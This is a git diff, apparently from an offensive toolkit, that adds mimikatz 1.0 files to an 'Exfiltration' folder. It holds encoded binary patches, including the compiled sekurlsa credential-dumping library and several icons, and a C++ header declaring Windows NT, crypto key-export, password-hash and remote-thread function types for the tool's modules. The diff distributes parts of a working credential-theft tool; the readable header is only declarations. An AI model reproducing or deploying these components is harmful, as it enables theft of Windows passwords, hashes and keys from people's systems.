zsial3`d={9M4SHwH{G;{_R>DM$^m%1p%{)1$B-1y60qS(#SSKldjjv{LjyD6pR?hC za#SJ_~Doy*&-)~pb}uGQq;z< z(+bpdVT;o*2E>qv_mY8_bT1=@m|S3Gu~!PLl*iCg51h0>n>vyBdf<{rfRQ9W*-ryP zGO%09@e80;C4Q-2?$`Paexu*&xB2aUCpJXG{vkhJCSZe+j1*&Jrp%UwvP71Cmt|^X zEplUv?2w(T117*CWTZ=vLj16fy|jjvy7qBNru_Bycwc z>`jIH$^>@{VtJ$jtgQlXYfPPKj%AY`(`))nzZt;xB0fmK&LS-^K_;?FG^dmY6+u-{ zA5(~qpfl(Sy0MQMjwP04n}RJx8rT!%O@53k)iG{FSMf?7b$uu93I`Nm5jl6^R>s+HUf3cfSTq(Nh@Mph^l5Qus#Tsr^Zkn#c~wCC9I59K*g(BJ!^+* zMtCaln*+R-A{Ev^L!-Jm#D{s3OWa(y1RJdyV6z*_HsYp0&7wM13YQgCuuY;tG>Mj& ze)Ry0Q6xsyYYNiL-?11~uL7WPRJ-cDrkG+y@t1~Vp9Sod`!z_-4gLU-mVm^Zj;ve= zd{rPTx5_S{svmhY4M_5Vp>k|%YLJq9kd6jb3NnMQGj$0PP>rtBop7y#dRV7I!!u2` zDMR<`kQlnr@nLh=q@&x}K`#1Si#|7^yFMWK;vN*=VGFkqQ zy+V|Wbzoz?Y``X}Nj8I*t+EX%HOkH|*&So&Aow|qP0wNM!y+nPC8$J|6yxg@_@lIc zu+|4}GgX$#Ryisc49-^ts_;7=mw?G-=tYI9L_eY&PS7dXRpk5=YfE&wt^i}(usi62 z_wLjGmuXvz-C~rZi9u439HazOVr)$hG6I4vqaWjK7P^^(e&&I}1wr9=`-T$i9Lr*C zt^}W}gTGJydh8z?v4Q;G=2a>t6h0Rg%P~+*W@ZWvapA&+ z3l}am?p*o}BGXtu0UOs^CyO*IxZ&8nF$=YvDDP+VLK4NzRphhw4H z0)Hz_%_^JHwV*1^GT}58Gc$S%g*vD)hagkr{0+)09VsQ=?M47p>g z(w4$$&ILqW(5M@>RkqbiYDF5tNlnz}W+#=_M7E?;Q;k&7t?ANAWiz;>t-P`$O~sJr zewxO>Q=Utbhf7h1P=ZRY6t&7QCTRJkpl60qqys1g%rk}>m1jU}75xY%sZJ>ww9_c+ zw85l@eMK3nSTED^vcqejx}{9WX|x79A5H`uLqJ^%F*(VwbB27_dcs#e0ja>MMtjY#rcjQyE{+ zV9Uanh%yb|B1#T^M3fo$8BuP)uZS`Was0IRb?;j@f$AWr%)yn2atm@{C7XeKM9D%i zqD;fHh?0Z7rh*gW>x_D8RCC@X#RS1quKHn9$+anW+Z4Jy{N{~=+uUrP!pGClJcTYA zzj?}gKg8Zs=!E^|DWCli`*@>fT2dUoV$f!@HhYC^MfK_bFADIMjYtgIhvKkpJSAus RQbIOiA!rX48ny`7;V*=gjn)7F literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib new file mode 100644 index 0000000000000000000000000000000000000000..cdcf2b53a096d64dd1c1b3d0e5ddbe9d1e65f713 GIT binary patch literal 4094 zcmcIm&2G~`5dM--N|W?Qlmj3E0U=Q&R7#tKf)HwHK~$s#B|$=5Ot9V5YHC+W+EXQ7 zfCoSbapWO5Ax@k)aNq$rA`ZL(%-Fm3uJc0zWu@`%jK}+VX203p^S5eEbL)2cYEEz0 z78d6Uh5X`NQMbY_#m{y=J3TgJEnu zE|oex@Itx-4%PdQHy#+P%hhH2#M#+3j9tgALp%dZ-EOZmZEL6I!cfQYxA*p3v+a0p zOLbF>fxqLLUfp%t9t>p|yxVkK%V>MsHqW6cAy&yVYmH^o^!D6#02H%?o|WZw1)P3d zH$;B6*|f!66*-RH-d%~!q8S3enq`%|y60BxR*MnoA14s-KKALLf`% zxoWq}rnAeL_Y<$`L-YE2#Oo;{_Qw(6=O{2U2E3jmJp)`J*3Q%T35~Pkzz>p76TnlF z1FDAaBnM=BOMX-sNFa%EOyC$sa1>J*!z9wkB7;#J>GLK$Ff*_CG$rjQ+ zOt!Enln7s`d5>177dvC?8_v>;q+M9Yl-Bv$QBXlKcch|&c3SvqjYnf8WHM^Ok{%1w zw`g=Fiyj&qw4m4^!%+h9L+HJ0$?a^`YBZSbf7-e8HzJ0Y5-Aj4t(7MdAa?pKF>Be+ z_v#lbfePHA!Aq%#ehE`|W*w{6u3eVmg_eBCjdUd!8T=Vr>6bEUP72magGgG$i36;TH~95S0`fQ9`2UiSQ7-}hA8$#EA0Pi>N?P*lLk5IC zg~-D8^ZXEvX9sQyjk_eO^!&RW;PBWoU$_>Y^QA=6XUlv4@Ax0ll`WS4DtahvS&&v{ z%R8xvp4sw$STM-S@=o3J(vVh}GDwxpFUp(Jv$U+TuY?e+bN9UUsj`Ah6|<46Ol?Y) z<)xkdzDPy%hnwF)a(b4K508rlnbI8JIk`eh3EsUJh4-(HONY8>P?bSeupe52(c))_ z3NSQUKD=k^v7M&Kl8mMvQ2&Nh5Ct8};weH(F%lg^^4QmahOU7^zB|$dLOP-&MQ5u9 zsVal4S^h?MM6T@-fv6tb>iif!KDjl +#include +#include +#include +#include +using namespace std; + +#define SECURITY_WIN32 +#define PAGE_SIZE 0x1000 +#define MAX_DOMAIN_LEN 24 +#define MAX_USERNAME_LEN 24 + +#define MIMIKATZ L"mimikatz" +#ifdef _M_X64 + #define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)" +#else ifdef + #define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)" +#endif + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) +#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) +#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) + +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) +#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L) + +#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;} + +typedef bool (* PKIWI_LOCAL_COMMAND) (vector * arguments); + +typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND { + PKIWI_LOCAL_COMMAND ptrCommand; + wstring commandName; + wstring commandHelp; + _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {} + _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {} +} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND; + +typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE { + wstring module; + wstring description; + vector commandes; + _KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {} +} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE; + +typedef struct _CLIENT_ID { + PVOID UniqueProcess; + PVOID UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef const ULONG CLONG; +typedef const UNICODE_STRING *PCUNICODE_STRING; +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +/* System* */ +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE hash[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE hash[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]); +/* CNG */ +typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject); +typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer); +typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer); + +typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey); +typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags); + +/* Rtl* */ +#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart)) +typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId); +typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString); +typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString); +typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString); +typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString); +typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); +typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct); +typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize); +typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); + +typedef struct _RTL_BALANCED_LINKS { + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS; +typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +typedef struct _RTL_AVL_TABLE { + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico new file mode 100644 index 0000000000000000000000000000000000000000..9ac92da71353e94f488d9c25622e946bfde62c89 GIT binary patch literal 4286 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 L(7`ap4-EVp=BX{% literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico new file mode 100644 index 0000000000000000000000000000000000000000..79edffc346e0a9b3616d98787c49c2947b4f1d81 GIT binary patch literal 9662 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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico new file mode 100644 index 0000000000000000000000000000000000000000..2285d1c96e11cc64fe45e4a5d46769f7b14a75e1 GIT binary patch literal 15086 zcmd6O2Uu2D)-|cp5)%`RNlYwJRFK|#6TybP7wlcc7AuHBKtKf%kuJUW-lX>~MMOX; zVlSwPaps?y^{@M?nM@{5l6ms|-+!NHd+z)4-h0;BXPPz{`K{Vl$e+x|F5pcj~_j{ z*3tf=rTOyn-z%*x&ClCfTb{QyH^1?j)|QqR{r&xq{;Y9GNlCp$d6zPTB3wf$!`x4~ z{%D}5gQ+G)ze~(ajbUzPis|NNurQm-XN>>tIXzu%*jVp?FwXxLKd}iohfzjT(Vn%&5H#Pnt{KP0u89|vu(WlI(Y$D!$(o&Kq zq@+JMC;h=k!5@75X@c~JA16skf0(*u2iLrWY_5VTqf4c4o_>bcMfOuso zb7&WPi2F44ogn?mmu-@xlztE&XMp!dYhwsSe7q4PCKy9fZU!VLTVTtk4gc%-B_$=r zDPyH1#C1RXaOl1dM~V~9^MdWm_;bV#Z$fP~^KNNOyBq{=)ZL^kq`0mNw^@5@ZZds8g&zVafxuS!vz3vptXHrWg*y%mtuT8u*n4?y~Z z5B~Hq{ND9DbMgA2qm`${4*A9i?|x&5_hd{UuD=pPmmI*zU9OOE@`t?pMaX-HVaiE= ze7(;LLsuSy#O!?-Vz3S;PB_5K%nVH! zv$Vwqj6Ho0s?{0LX(Qgcbg0#3L96i+bQH}+L8&4#&qZqmvPf27;_HPYx5yrl?~O}9O%{O!Q^rwZRrxU z>$9OAwrz_7UxX01hVa(StL0e@Rt8?>~vMA!ve5M=)R`OwwX#lwdWk(rr^ z$&)8z(xgckJ9aEaj~*?uH9_Y?hYp2=gv3u{`!)R1Q;g@25A*-ql*{RuSQQ1i$~Y)g zCt*re3JmJ=pV zaiVo0EiL^<{E}m|WhY1Y4$8KrVthq7wcIgQv-AX63(RqA|dT?rIQbD&ms35un; 